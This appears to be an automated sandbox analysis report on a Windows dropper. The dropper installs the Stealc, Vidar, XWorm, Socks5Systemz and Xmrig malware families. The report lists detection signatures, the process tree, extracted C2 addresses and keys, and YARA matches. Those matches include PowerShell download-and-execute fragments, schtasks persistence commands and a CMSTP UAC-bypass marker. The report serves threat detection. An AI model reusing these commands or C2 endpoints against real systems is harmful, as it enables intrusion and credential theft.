Edit tour

Windows Analysis Report
kqS23MOytx.exe

Overview

General Information

Sample name:	kqS23MOytx.exe renamed because original name is a hash value
Original sample name:	439228705BA8CBE4BE1C1BF8343913AC.exe
Analysis ID:	1501538
MD5:	439228705ba8cbe4be1c1bf8343913ac
SHA1:	32c20b85f846d03350b9e6f252c1e2653de0ee0d
SHA256:	11f7ecd0569fba241fff758417113ab60c8f8cbed796222c3883037aa3ece16b
Tags:	exeSocks5Systemz
Infos:

Detection

Socks5Systemz, Stealc, Vidar, XWorm, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Socks5Systemz

Yara detected Stealc

Yara detected UAC Bypass using CMSTP

Yara detected Vidar

Yara detected Vidar stealer

Yara detected XWorm

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Drops PE files to the document folder of the user

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found hidden mapped module (file has been removed from disk)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Sample uses string decryption to hide its real strings

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

kqS23MOytx.exe (PID: 7544 cmdline: "C:\Users\user\Desktop\kqS23MOytx.exe" MD5: 439228705BA8CBE4BE1C1BF8343913AC)

RegAsm.exe (PID: 7576 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7584 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

IUqoPnH3eiygxjqgC368dFJD.exe (PID: 7956 cmdline: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe MD5: D4AC1A0D0504AB9A127DEFA511DF833E)

IUqoPnH3eiygxjqgC368dFJD.exe (PID: 7272 cmdline: "C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe" MD5: D4AC1A0D0504AB9A127DEFA511DF833E)

schtasks.exe (PID: 7812 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7952 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rFOuFGF_bpYT2mD72hQviWI6.exe (PID: 7964 cmdline: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe MD5: 0A7F5D0B4DAB9C77DC68DB0EA99B0058)

WerFault.exe (PID: 1544 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7964 -s 876 MD5: C31336C1EFC2CCB44B4326EA793040F2)

U8E1s2EiwXEdPm57PA0VL_iO.exe (PID: 7972 cmdline: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe MD5: 2F5226B4116CE79AFB6DCB32FA647954)

cmd.exe (PID: 7948 cmdline: "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

3Jzm4oFUgYkjO4kKSsY1bNEb.exe (PID: 7980 cmdline: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe MD5: 3618E31C4BBB164B9BA20250D25628A3)

SendBugReportNew.exe (PID: 6516 cmdline: "C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe" MD5: 58717509C1521EACFCC7CDA39E6BD45C)

cmd.exe (PID: 6268 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lDkIjEVcMx3R04EqAu4plnem.exe (PID: 7988 cmdline: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe MD5: 70567FAE269796BF407322D0A4435054)

conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7492 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

tmR_9dCV10b0GIVf60jpdpDG.exe (PID: 7996 cmdline: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe MD5: 4D507C9C74752CCC691C56AF0E3C09E8)

tmR_9dCV10b0GIVf60jpdpDG.tmp (PID: 5700 cmdline: "C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp" /SL5="$20478,4121162,54272,C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe" MD5: 2C8ADD0562CF664E23941305CBCA4E18)

simplefreevideocutter32_64.exe (PID: 7876 cmdline: "C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe" -i MD5: D59C6831D558B3F9F0B80F1B28DA5C57)

LfiXVL0FmEQ8Z73WgU_xbDtt.exe (PID: 8004 cmdline: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe MD5: 9EE7D1FB0F1E8A7A998DA096B4DA22A9)

7DyzwtKyuY4CtD_VmEPX58OX.exe (PID: 8012 cmdline: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe MD5: 7FEE72EA1DD13C340355BAA7FE9C574A)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 352 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

ALyS_8kMpHhhtscK4twnP2yt.exe (PID: 8028 cmdline: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe MD5: ABB713CF90E8345C0B6B79345CBDC9D6)

cmd.exe (PID: 3848 cmdline: "C:\Windows\System32\cmd.exe" /k move Heritage Heritage.bat & Heritage.bat & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

9AvIIxRx9oZhX7WUPPobrACv.exe (PID: 8036 cmdline: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe MD5: C835AA61191A38F357333FFF57F6C81A)

RegAsm.exe (PID: 6644 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6712 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6784 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

0QrWpVvJO2zQ0CVHYo3FGItE.exe (PID: 8048 cmdline: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe MD5: BD2891236510C953D469E346D092F0C7)

WerFault.exe (PID: 7712 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 832 MD5: C31336C1EFC2CCB44B4326EA793040F2)

U6y3wrWv6W7x1LKCsdmr6zZR.exe (PID: 8056 cmdline: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe MD5: 025EBE0A476FE1A27749E6DA0EEA724F)

powercfg.exe (PID: 7352 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7300 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 3052 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

svchost.exe (PID: 7228 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7544 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8048 -ip 8048 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7284 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 7964 -ip 7964 MD5: C31336C1EFC2CCB44B4326EA793040F2)

jewkkwnf.exe (PID: 2008 cmdline: C:\ProgramData\jewkkwnf\jewkkwnf.exe MD5: D4AC1A0D0504AB9A127DEFA511DF833E)

jewkkwnf.exe (PID: 7172 cmdline: C:\ProgramData\jewkkwnf\jewkkwnf.exe MD5: D4AC1A0D0504AB9A127DEFA511DF833E)

ExtreamFanV6.exe (PID: 8116 cmdline: "C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe" MD5: D4AC1A0D0504AB9A127DEFA511DF833E)

ExtreamFanV6.exe (PID: 7760 cmdline: "C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe" MD5: D4AC1A0D0504AB9A127DEFA511DF833E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}

Threatname: Socks5Systemz

{"C2 list": ["bftexwm.com"]}

Threatname: Xworm

{"C2 url": "https://pastebin.com/raw/jxfGm9Pc", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199761128941"], "Botnet": "3cfc20875310168e85cacc85bfe8cfb9"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\jnpqblobe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\jnpqblobe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6c9f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d3c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e51:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6b11:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\rtl120.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001F.00000002.3075773502.0000000002D61000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002B.00000002.2538051610.0000000005847000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000007.00000003.1942337891.00000000027B2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x1e228:$s2: HAL9TH
0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6d67:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6e04:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6f19:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6bd9:$cnc4: POST / HTTP/1.1
00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x1e228:$s2: HAL9TH
0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002A.00000002.2758927200.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000025.00000002.2260073492.0000000050001000.00000020.00000001.01000000.0000001E.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001F.00000002.3075712791.0000000002CBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: kqS23MOytx.exe PID: 7544	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988	Molerats_Jul17_Sample_5	Detects Molerats sample - July 2017	Florian Roth	0xa9c0:$x1: powershell.exe -nop -c "iex 0xa9e7:$a1: Net.WebClient).DownloadString 0xaee8:$a1: Net.WebClient).DownloadString
Process Memory Space: LfiXVL0FmEQ8Z73WgU_xbDtt.exe PID: 8004	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: LfiXVL0FmEQ8Z73WgU_xbDtt.exe PID: 8004	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7DyzwtKyuY4CtD_VmEPX58OX.exe PID: 8012	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 352	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 352	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 352	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	Molerats_Jul17_Sample_5	Detects Molerats sample - July 2017	Florian Roth	0x8b88:$x1: powershell.exe -nop -c "iex 0x8baf:$a1: Net.WebClient).DownloadString 0x90b0:$a1: Net.WebClient).DownloadString
Process Memory Space: simplefreevideocutter32_64.exe PID: 7876	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: SendBugReportNew.exe PID: 6516	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
21.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
21.2.RegAsm.exe.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x1e228:$s2: HAL9TH
37.2.SendBugReportNew.exe.2de2544.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
37.2.SendBugReportNew.exe.2de2544.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d0ed:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d379:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d178:$s1: CoGetObject 0x1d404:$s1: CoGetObject 0x1d0d1:$s2: Elevation:Administrator!new: 0x1d35d:$s2: Elevation:Administrator!new:
37.2.SendBugReportNew.exe.2de1944.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
37.2.SendBugReportNew.exe.2de1944.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dced:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df79:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd78:$s1: CoGetObject 0x1e004:$s1: CoGetObject 0x1dcd1:$s2: Elevation:Administrator!new: 0x1df5d:$s2: Elevation:Administrator!new:
37.2.SendBugReportNew.exe.2d9c877.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
37.2.SendBugReportNew.exe.2d9c877.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62dba:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63046:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62e45:$s1: CoGetObject 0x630d1:$s1: CoGetObject 0x62d9e:$s2: Elevation:Administrator!new: 0x6302a:$s2: Elevation:Administrator!new:
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
43.2.cmd.exe.584da00.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
